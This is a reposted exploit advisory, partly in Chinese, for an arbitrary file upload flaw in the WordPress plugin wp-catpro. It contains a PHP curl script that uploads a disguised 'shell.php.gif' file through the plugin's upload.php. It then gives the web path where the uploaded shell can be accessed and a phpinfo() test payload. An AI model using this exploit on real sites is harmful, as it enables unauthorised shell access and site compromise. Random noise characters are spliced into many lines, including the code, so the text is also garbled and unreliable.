WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

作者  => Zikou-16
邮箱 => zikou16x@gmail.com
9 T  s: N* l5 @: \0 E测试系统 : Windows 7 , Backtrack 5r3
, |. j6 X* l2 X5 J; A" A9 }6 K! R下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
$ X  j0 N* C7 D% R* A" p0 M####

#=> Exploit 信息:
+ f3 J5 p% E# M" Y  _1 k------------------
# 攻击者可以上传 file/shell.php.gif
4 K0 m; [+ W6 j1 T' D# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------

, X. n, x9 s: v6 W# e& T# m3 Z#=> Exploit
/ X' I' F* v% g0 D+ q6 Z" c-----------
<?php
1 M& _& M7 S, @. g5 n7 \
. X0 d' Y( N: k$ P7 S; b, y5 d$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
9 I' g$ i/ x8 |. t$ Fcurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
% u& G; i4 a& o/ z; M. }0 w$postResult = curl_exec($ch);
curl_close($ch);
4 e. }) \/ N+ V
print "$postResult";
! a) c4 B3 L4 f
3 O3 x6 C$ }5 g) DShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
+ @- {5 G* F8 P% z) M<?php
phpinfo();
?>